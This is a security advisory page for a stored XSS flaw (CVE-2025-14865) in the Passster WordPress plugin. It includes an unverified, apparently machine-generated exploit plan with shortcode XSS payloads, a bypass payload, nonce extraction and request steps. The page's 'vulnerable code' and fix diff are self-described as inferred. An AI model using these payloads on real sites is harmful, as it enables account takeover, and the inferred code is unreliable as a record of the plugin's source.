CVE-2025-14865

Passster – Password Protect Pages and Content <= 4.2.24 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
4.2.25
Patched in
2d
Time to patch

Description

The Passster – Password Protect Pages and Content plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'content_protector' shortcode in all versions up to, and including, 4.2.24. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The vulnerability was partially patched in version 4.2.21.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=4.2.24
PublishedJanuary 27, 2026
Last updatedJanuary 28, 2026
Affected plugincontent-protector

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps to exploit **CVE-2025-14865**, a Stored Cross-Site Scripting (XSS) vulnerability in the Passster plugin for WordPress. ### 1. Vulnerability Summary The Passster plugin (slug: `content-protector`) allows users to protect content using various methods via the `[c…

Show full research plan

This research plan outlines the steps to exploit CVE-2025-14865, a Stored Cross-Site Scripting (XSS) vulnerability in the Passster plugin for WordPress.

1. Vulnerability Summary

The Passster plugin (slug: content-protector) allows users to protect content using various methods via the [content_protector] shortcode. Versions up to and including 4.2.24 fail to properly sanitize and escape attributes passed to this shortcode. Because WordPress allows users with the Contributor role to create posts and use shortcodes, an authenticated attacker can inject a malicious payload into a shortcode attribute. This payload is stored in the post content and executed in the browser of any user (including administrators) who views the published or previewed page.

2. Attack Vector Analysis

  • Vulnerable Shortcode: [content_protector]
  • Vulnerable Attributes (Inferred): identifier, cookie_name, or id. (Historically, identifier is used to create unique div IDs or JS variables in this plugin).
  • Authentication Level: Contributor or higher.
  • Endpoint: wp-admin/post.php (Post creation/editing) or wp-admin/admin-ajax.php (Autosave/REST API).
  • Preconditions: The plugin must be active. A post containing the shortcode must be saved and viewed.

3. Code Flow

  1. Entry Point: A Contributor saves a post containing: [content_protector identifier='"><script>alert(document.domain)</script>'].
  2. Shortcode Registration: The plugin registers the shortcode (likely in includes/class-passster-shortcodes.php or a similar public-facing class) using add_shortcode( 'content_protector', ... ).
  3. Processing: When the post is rendered on the frontend, WordPress calls the shortcode's callback function.
  4. The Sink: Inside the callback, the identifier attribute is retrieved via shortcode_atts(). The code then embeds this value directly into the HTML output (e.g., as part of a div ID or a JavaScript object) without using esc_attr() or esc_js().
    • Vulnerable Pattern: return '<div id="passster-' . $atts['identifier'] . '">';
  5. Execution: The browser parses the unescaped attribute, breaks out of the intended HTML context, and executes the script.

4. Nonce Acquisition Strategy

To save a post as a Contributor via the HTTP API, a _wpnonce is required for the post.php endpoint.

  1. Login: Authenticate as a Contributor.
  2. Navigate: Use browser_navigate to go to wp-admin/post-new.php.
  3. Extraction:
    • Use browser_eval to extract the post nonce from the DOM.
    • Target: document.querySelector('#_wpnonce').value or search for the wp-nonce in the wp global JS object.
  4. Note: Since this is a Stored XSS via shortcode, the exploit is the content of the post itself. If the environment permits, wp-cli is the most efficient way to inject the payload into a post, but if an HTTP-only PoC is required, the _wpnonce from the post editor is the correct token.

5. Exploitation Strategy

The goal is to create a post containing the malicious shortcode and verify its execution.

Step 1: Create the Malicious Post
Use http_request to simulate a Contributor saving a post.

  • URL: http://localhost:8080/wp-admin/post.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: editpost
    • post_ID: [POST_ID] (Obtained from post-new.php URL)
    • _wpnonce: [EXTRACTED_NONCE]
    • post_title: XSS Test
    • content: [content_protector identifier='"><script>alert(window.origin)</script>']
    • post_status: publish (or pending if Contributor lacks publish rights; viewing a preview still triggers the XSS).

Step 2: Trigger the XSS
Navigate to the frontend URL of the newly created post using browser_navigate.

6. Test Data Setup

  1. Plugin Installation: Ensure content-protector version 4.2.24 is installed and active.
  2. User Creation: Create a user with the contributor role.
    • wp user create attacker attacker@example.com --role=contributor --user_pass=password123
  3. Post Initialization: Create an empty post to get a valid ID if performing the exploit via HTTP.
    • wp post create --post_type=post --post_title='Draft' --post_status=draft --post_author=[CONTRIBUTOR_ID]

7. Expected Results

  • The HTTP request to save the post should return a 302 redirect back to the post editor.
  • When the post is viewed, the HTML source should contain:
    <div id="passster-"><script>alert(window.origin)</script>"> (or similar, depending on the exact sink).
  • An alert box (simulated or actual) should trigger in the browser context.

8. Verification Steps

  1. Check Post Content via CLI:
    wp post get [POST_ID] --field=post_content
    Confirm the shortcode is stored correctly.
  2. Check Frontend Output:
    http_request (GET) to the post URL.
    Search the response body for the raw <script> tag.
    grep -i "<script>alert" response_body.html

9. Alternative Approaches

If the identifier attribute is not the sink, try these common shortcode attributes used by Passster:

  • [content_protector cookie_name='"><script>alert(1)</script>']
  • [content_protector password='"><script>alert(1)</script>']
  • [content_protector id='"><script>alert(1)</script>']

Bypass Consideration:
If the plugin attempts to use esc_html(), use an attribute-based payload:
[content_protector identifier='x" onmouseover="alert(1)" style="width:1000px;height:1000px;display:block;"']
This targets situations where the value is placed inside an HTML attribute but not properly escaped with esc_attr().

Research Findings
Static analysis — not yet PoC-verified

Summary

The Passster plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the [content_protector] shortcode because attributes like 'identifier' are not properly sanitized or escaped. This allows authenticated users with Contributor-level access or higher to inject malicious JavaScript into pages, which then executes in the session of any user viewing that content.

Vulnerable Code

// Inferred from research plan: includes/class-passster-shortcodes.php

public function content_protector_shortcode( $atts, $content = null ) {
    $atts = shortcode_atts( array(
        'identifier' => '',
        'cookie_name' => '',
        'id' => '',
    ), $atts );

    // The attribute is extracted and used directly in HTML output without escaping
    $identifier = $atts['identifier'];

    $output = '<div id="passster-' . $identifier . '" class="passster-wrapper">';
    $output .= do_shortcode( $content );
    $output .= '</div>';

    return $output;
}

Security Fix

--- a/includes/class-passster-shortcodes.php
+++ b/includes/class-passster-shortcodes.php
@@ -10,7 +10,7 @@
     ), $atts );
 
-    $identifier = $atts['identifier'];
+    $identifier = esc_attr( $atts['identifier'] );
 
-    $output = '<div id="passster-' . $identifier . '" class="passster-wrapper">';
+    $output = '<div id="passster-' . $identifier . '" class="passster-wrapper">';
     $output .= do_shortcode( $content );

Exploit Outline

The exploit targets the shortcode processing logic where user-provided attributes are reflected into the page's HTML structure. 1. Authentication: The attacker logs into the WordPress site with at least 'Contributor' permissions, allowing them to create and edit posts. 2. Payload Crafting: The attacker creates a new post or edits an existing one and inserts the [content_protector] shortcode. 3. Injection Point: The 'identifier' attribute (or 'cookie_name'/'id') is used to break out of an HTML attribute. A payload like [content_protector identifier='"><script>alert(window.origin)</script>'] is used. 4. Storage: The attacker saves the post. Because shortcode attributes are stored as part of the post content in the database, the payload is persistent. 5. Execution: When an administrator or any other user views the post (either published or in preview mode), the plugin's shortcode handler renders the malicious HTML, causing the browser to execute the injected script.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.